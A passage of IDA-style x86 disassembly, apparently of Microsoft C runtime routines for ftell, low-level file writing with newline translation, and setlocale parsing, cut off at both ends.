-0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_4265A9: ; CODE XREF: sub_4265A0+31j cmp [ebp+arg_0], 0 jnz short loc_4265CD push offset dword_4344AC push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4265CD int 3 ; Trap to Debugger loc_4265CD: ; CODE XREF: sub_4265A0+Dj ; sub_4265A0+2Aj xor eax, eax test eax, eax jnz short loc_4265A9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_4265F5 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_4265F5: ; CODE XREF: sub_4265A0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_4263E0 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_426616 or eax, 0FFFFFFFFh jmp loc_426833 ; --------------------------------------------------------------------------- loc_426616: ; CODE XREF: sub_4265A0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_426636 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_426833 ; --------------------------------------------------------------------------- loc_426636: ; CODE XREF: sub_4265A0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_4266AC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_4266AA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_42668A ; --------------------------------------------------------------------------- loc_426681: ; CODE XREF: sub_4265A0:loc_4266A8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42668A: ; CODE XREF: sub_4265A0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_4266AA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4266A8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_4266A8: ; CODE XREF: sub_4265A0+FDj jmp short loc_426681 ; --------------------------------------------------------------------------- loc_4266AA: ; CODE XREF: sub_4265A0+D4j ; sub_4265A0+F2j jmp short loc_4266CF ; --------------------------------------------------------------------------- loc_4266AC: ; CODE XREF: sub_4265A0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_4266CF call sub_4224D0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_426833 ; --------------------------------------------------------------------------- loc_4266CF: ; CODE XREF: sub_4265A0:loc_4266AAj ; sub_4265A0+11Aj cmp [ebp+var_1C], 0 jnz short loc_4266DD mov eax, [ebp+var_18] jmp loc_426833 ; --------------------------------------------------------------------------- loc_4266DD: ; CODE XREF: sub_4265A0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_42682D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_426703 mov [ebp+var_18], 0 jmp loc_42682D ; --------------------------------------------------------------------------- loc_426703: ; CODE XREF: sub_4265A0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_426824 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_4263E0 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_4267B0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_426777 ; --------------------------------------------------------------------------- loc_42676E: ; CODE XREF: sub_4265A0:loc_426793j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426777: ; CODE XREF: sub_4265A0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_426795 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_426793 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_426793: ; CODE XREF: sub_4265A0+1E8j jmp short loc_42676E ; --------------------------------------------------------------------------- loc_426795: ; CODE XREF: sub_4265A0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_4267AE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4267AE: ; CODE XREF: sub_4265A0+203j jmp short loc_426824 ; --------------------------------------------------------------------------- loc_4267B0: ; CODE XREF: sub_4265A0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_4263E0 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_4267F0 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_4267F0 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_4267F0 mov [ebp+var_10], 200h jmp short loc_4267F9 ; --------------------------------------------------------------------------- loc_4267F0: ; CODE XREF: sub_4265A0+229j ; sub_4265A0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_4267F9: ; CODE XREF: sub_4265A0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_426824 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_426824: ; CODE XREF: sub_4265A0+19Cj ; sub_4265A0:loc_4267AEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_42682D: ; CODE XREF: sub_4265A0+148j ; sub_4265A0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_426833: ; CODE XREF: sub_4265A0+71j ; sub_4265A0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4265A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426840 proc near ; CODE XREF: sub_41A1B0+147p ; sub_41B920+57p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_426871 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42688C loc_426871: ; CODE XREF: sub_426840+Dj call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4268BE ; --------------------------------------------------------------------------- loc_42688C: ; CODE XREF: sub_426840+2Fj mov edx, [ebp+arg_0] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4268D0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_429A50 add esp, 4 mov eax, [ebp+var_4] loc_4268BE: ; CODE XREF: sub_426840+4Aj mov esp, ebp pop ebp retn sub_426840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D0 proc near ; CODE XREF: sub_426840+64p ; sub_42E2C0+145p var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_4268F6 xor eax, eax jmp loc_426B3F ; --------------------------------------------------------------------------- loc_4268F6: ; CODE XREF: sub_4268D0+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_426928 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_426470 add esp, 0Ch loc_426928: ; CODE XREF: sub_4268D0+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_426A5C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42695D: ; CODE XREF: sub_4268D0:loc_426A55j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_426A5A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_426975: ; CODE XREF: sub_4268D0+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_4269E7 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_4269E7 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_4269D1 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4269D1: ; CODE XREF: sub_4268D0+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_426975 ; --------------------------------------------------------------------------- loc_4269E7: ; CODE XREF: sub_4268D0+B6j ; sub_4268D0+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov eax, [edx+ecx] push eax call dword_4E03B4 ; WriteFile test eax, eax jz short loc_426A4A mov ecx, [ebp+var_10] add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_426A48 jmp short loc_426A5A ; --------------------------------------------------------------------------- loc_426A48: ; CODE XREF: sub_4268D0+174j jmp short loc_426A55 ; --------------------------------------------------------------------------- loc_426A4A: ; CODE XREF: sub_4268D0+155j call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_C], eax jmp short loc_426A5A ; --------------------------------------------------------------------------- loc_426A55: ; CODE XREF: sub_4268D0:loc_426A48j jmp loc_42695D ; --------------------------------------------------------------------------- loc_426A5A: ; CODE XREF: sub_4268D0+96j ; sub_4268D0+176j ... jmp short loc_426AAC ; --------------------------------------------------------------------------- loc_426A5C: ; CODE XREF: sub_4268D0+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] mov ecx, [eax+edx] push ecx call dword_4E03B4 ; WriteFile test eax, eax jz short loc_426AA3 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_426AAC ; --------------------------------------------------------------------------- loc_426AA3: ; CODE XREF: sub_4268D0+1BFj call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_C], eax loc_426AAC: ; CODE XREF: sub_4268D0:loc_426A5Aj ; sub_4268D0+1D1j cmp [ebp+var_10], 0 jnz loc_426B36 cmp [ebp+var_C], 0 jz short loc_426AEA cmp [ebp+var_C], 5 jnz short loc_426AD9 call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_426AE5 ; --------------------------------------------------------------------------- loc_426AD9: ; CODE XREF: sub_4268D0+1F0j mov edx, [ebp+var_C] push edx call sub_422430 add esp, 4 loc_426AE5: ; CODE XREF: sub_4268D0+207j or eax, 0FFFFFFFFh jmp short loc_426B3F ; --------------------------------------------------------------------------- loc_426AEA: ; CODE XREF: sub_4268D0+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_426B1B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_426B1B xor eax, eax jmp short loc_426B3F ; --------------------------------------------------------------------------- loc_426B1B: ; CODE XREF: sub_4268D0+23Aj ; sub_4268D0+245j call sub_4224D0 mov dword ptr [eax], 1Ch call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_426B3F ; --------------------------------------------------------------------------- loc_426B36: ; CODE XREF: sub_4268D0+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_426B3F: ; CODE XREF: sub_4268D0+21j ; sub_4268D0+218j ... mov esp, ebp pop ebp retn sub_4268D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_426B65 cmp dword ptr [ebp+8], 5 jle short loc_426B6C loc_426B65: ; CODE XREF: .data:00426B5Dj xor eax, eax jmp loc_426F3B ; --------------------------------------------------------------------------- loc_426B6C: ; CODE XREF: .data:00426B63j push 13h call sub_41BC80 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, dword_4DE424 add eax, 1 mov dword_4DE424, eax loc_426B8A: ; CODE XREF: .data:00426B9Bj cmp dword_4DE428, 0 jz short loc_426B9D push 1 call dword_4E033C ; Sleep jmp short loc_426B8A ; --------------------------------------------------------------------------- loc_426B9D: ; CODE XREF: .data:00426B91j cmp dword ptr [ebp+8], 0 jz short loc_426BE1 cmp dword ptr [ebp+0Ch], 0 jz short loc_426BC1 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_426F40 add esp, 8 mov [ebp-0A8h], eax jmp short loc_426BD3 ; --------------------------------------------------------------------------- loc_426BC1: ; CODE XREF: .data:00426BA7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, dword_447964[eax] mov [ebp-0A8h], ecx loc_426BD3: ; CODE XREF: .data:00426BBFj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_426F1B ; --------------------------------------------------------------------------- loc_426BE1: ; CODE XREF: .data:00426BA1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_426F13 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_426E24 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_426E24 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_426E24 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_426C31: ; CODE XREF: .data:00426DF3j push offset asc_435374 ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_42D270 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_426C7D mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_426C7D mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_426CA3 loc_426C7D: ; CODE XREF: .data:00426C52j ; .data:00426C6Dj cmp dword ptr [ebp-4], 0 jz short loc_426C9C push 13h call sub_41BD20 add esp, 4 mov edx, dword_4DE424 sub edx, 1 mov dword_4DE424, edx loc_426C9C: ; CODE XREF: .data:00426C81j xor eax, eax jmp loc_426F3B ; --------------------------------------------------------------------------- loc_426CA3: ; CODE XREF: .data:00426C7Bj mov dword ptr [ebp-10h], 1 jmp short loc_426CB5 ; --------------------------------------------------------------------------- loc_426CAC: ; CODE XREF: .data:loc_426D01j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_426CB5: ; CODE XREF: .data:00426CAAj cmp dword ptr [ebp-10h], 5 jg short loc_426D03 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, off_447960[eax] push ecx call sub_418830 add esp, 0Ch test eax, eax jnz short loc_426D01 mov edx, [ebp-10h] imul edx, 0Ch mov eax, off_447960[edx] push eax call sub_414EC0 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_426D01 jmp short loc_426D03 ; --------------------------------------------------------------------------- loc_426D01: ; CODE XREF: .data:00426CE0j ; .data:00426CFDj jmp short loc_426CAC ; --------------------------------------------------------------------------- loc_426D03: ; CODE XREF: .data:00426CB9j ; .data:00426CFFj push offset asc_435370 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_42D230 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_426D69 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_426D69 cmp dword ptr [ebp-4], 0 jz short loc_426D62 push 13h call sub_41BD20 add esp, 4 mov edx, dword_4DE424 sub edx, 1 mov dword_4DE424, edx loc_426D62: ; CODE XREF: .data:00426D47j xor eax, eax jmp loc_426F3B ; --------------------------------------------------------------------------- loc_426D69: ; CODE XREF: .data:00426D33j ; .data:00426D41j cmp dword ptr [ebp-10h], 5 jg short loc_426DBA mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_417760 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_426F40 add esp, 8 test eax, eax jz short loc_426DBA mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_426DBA: ; CODE XREF: .data:00426D6Dj ; .data:00426DAFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_426DE8 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_426DE8: ; CODE XREF: .data:00426DD7j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_426C31 cmp dword ptr [ebp-0Ch], 0 jz short loc_426E0C call sub_4270E0 mov [ebp-0ACh], eax jmp short loc_426E16 ; --------------------------------------------------------------------------- loc_426E0C: ; CODE XREF: .data:00426DFDj mov dword ptr [ebp-0ACh], 0 loc_426E16: ; CODE XREF: .data:00426E0Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_426F11 ; --------------------------------------------------------------------------- loc_426E24: ; CODE XREF: .data:00426C02j ; .data:00426C12j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_4271E0 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_426F11 mov dword ptr [ebp-10h], 0 jmp short loc_426E5E ; --------------------------------------------------------------------------- loc_426E55: ; CODE XREF: .data:loc_426EBEj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_426E5E: ; CODE XREF: .data:00426E53j cmp dword ptr [ebp-10h], 5 jg short loc_426EC0 cmp dword ptr [ebp-10h], 0 jz short loc_426EBE mov eax, [ebp-10h] imul eax, 0Ch mov ecx, dword_447964[eax] push ecx lea edx, [ebp-98h] push edx call sub_418A30 add esp, 8 test eax, eax jz short loc_426EB5 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_426F40 add esp, 8 test eax, eax jz short loc_426EAC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_426EB3 ; --------------------------------------------------------------------------- loc_426EAC: ; CODE XREF: .data:00426E9Fj mov dword ptr [ebp-14h], 0 loc_426EB3: ; CODE XREF: .data:00426EAAj jmp short loc_426EBE ; --------------------------------------------------------------------------- loc_426EB5: ; CODE XREF: .data:00426E88j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_426EBE: ; CODE XREF: .data:00426E68j ; .data:loc_426EB3j jmp short loc_426E55 ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: .data:00426E62j cmp dword ptr [ebp-14h], 0 jz short loc_426EEB call sub_4270E0 mov [ebp-8], eax push 2 mov ecx, dword_447964 push ecx call sub_415C60 add esp, 8 mov dword_447964, 0 jmp short loc_426F11 ; --------------------------------------------------------------------------- loc_426EEB: ; CODE XREF: .data:00426EC4j cmp dword ptr [ebp-0Ch], 0 jz short loc_426EFE call sub_4270E0 mov [ebp-0B0h], eax jmp short loc_426F08 ; --------------------------------------------------------------------------- loc_426EFE: ; CODE XREF: .data:00426EEFj mov dword ptr [ebp-0B0h], 0 loc_426F08: ; CODE XREF: .data:00426EFCj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_426F11: ; CODE XREF: .data:00426E1Fj ; .data:00426E46j ... jmp short loc_426F1B ; --------------------------------------------------------------------------- loc_426F13: ; CODE XREF: .data:00426BF3j call sub_4270E0 mov [ebp-8], eax loc_426F1B: ; CODE XREF: .data:00426BDCj ; .data:loc_426F11j cmp dword ptr [ebp-4], 0 jz short loc_426F38 push 13h call sub_41BD20 add esp, 4 mov eax, dword_4DE424 sub eax, 1 mov dword_4DE424, eax loc_426F38: ; CODE XREF: .data:00426F1Fj mov eax, [ebp-8] loc_426F3B: ; CODE XREF: .data:00426B67j ; .data:00426C9Ej ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F40 proc near ; CODE XREF: .data:00426BB1p ; .data:00426DA5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_4271E0 add esp, 14h test eax, eax jnz short loc_426F79 xor eax, eax jmp loc_4270CF ; --------------------------------------------------------------------------- loc_426F79: ; CODE XREF: sub_426F40+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_4150C0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_426FB0 xor eax, eax jmp loc_4270CF ; --------------------------------------------------------------------------- loc_426FB0: ; CODE XREF: sub_426F40+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, dword_447964[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, dword_4DE06C[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4DE1E4 push ecx lea edx, [ebp+var_14] push edx call sub_419330 add esp, 0Ch mov eax, dword_4DE084 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_418870 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov dword_447964[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov dword_4DE06C[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4DE1E4 push edx call sub_419330 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_427053 mov eax, [ebp+var_A0] mov dword_4DE084, eax loc_427053: ; CODE XREF: sub_426F40+106j cmp [ebp+arg_0], 1 jnz short loc_427065 mov ecx, [ebp+var_A0] mov dword_4DE088, ecx loc_427065: ; CODE XREF: sub_426F40+117j mov edx, [ebp+arg_0] imul edx, 0Ch call off_447968[edx] test eax, eax jz short loc_4270AC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov dword_447964[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_415C60 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4DE06C[eax*4], ecx mov edx, [ebp+var_18] mov dword_4DE084, edx xor eax, eax jmp short loc_4270CF ; --------------------------------------------------------------------------- loc_4270AC: ; CODE XREF: sub_426F40+133j cmp [ebp+var_C], offset dword_447850 jz short loc_4270C3 push 2 mov eax, [ebp+var_C] push eax call sub_415C60 add esp, 8 loc_4270C3: ; CODE XREF: sub_426F40+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, dword_447964[ecx] loc_4270CF: ; CODE XREF: sub_426F40+34j ; sub_426F40+6Bj ... mov esp, ebp pop ebp retn sub_426F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270E0 proc near ; CODE XREF: .data:00426DFFp ; .data:00426EC6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp dword_447964, 0 jnz short loc_427114 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_4150C0 add esp, 10h mov dword_447964, eax loc_427114: ; CODE XREF: sub_4270E0+14j mov eax, dword_447964 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_42712E ; --------------------------------------------------------------------------- loc_427125: ; CODE XREF: sub_4270E0:loc_4271D7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42712E: ; CODE XREF: sub_4270E0+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, dword_447964[edx] push eax push offset asc_435384 ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, off_447960[ecx] push edx push 3 mov eax, dword_447964 push eax call sub_427380 add esp, 14h cmp [ebp+var_4], 5 jge short loc_4271A9 push offset asc_435370 ; ";" mov ecx, dword_447964 push ecx call sub_418880 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, dword_447964[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_447964[ecx] push edx call sub_418A30 add esp, 8 test eax, eax jz short loc_4271A7 mov [ebp+var_8], 0 loc_4271A7: ; CODE XREF: sub_4270E0+BEj jmp short loc_4271D7 ; --------------------------------------------------------------------------- loc_4271A9: ; CODE XREF: sub_4270E0+81j cmp [ebp+var_8], 0 jnz short loc_4271B6 mov eax, dword_447964 jmp short loc_4271DC ; --------------------------------------------------------------------------- loc_4271B6: ; CODE XREF: sub_4270E0+CDj push 2 mov eax, dword_447964 push eax call sub_415C60 add esp, 8 mov dword_447964, 0 mov eax, off_44797C jmp short loc_4271DC ; --------------------------------------------------------------------------- loc_4271D7: ; CODE XREF: sub_4270E0:loc_4271A7j jmp loc_427125 ; --------------------------------------------------------------------------- loc_4271DC: ; CODE XREF: sub_4270E0+D4j ; sub_4270E0+F5j mov esp, ebp pop ebp retn sub_4270E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271E0 proc near ; CODE XREF: .data:00426E37p ; sub_426F40+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_4271F6 xor eax, eax jmp loc_427360 ; --------------------------------------------------------------------------- loc_4271F6: ; CODE XREF: sub_4271E0+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_427250 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_427250 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_427239 mov eax, [ebp+arg_8] mov word ptr [eax], 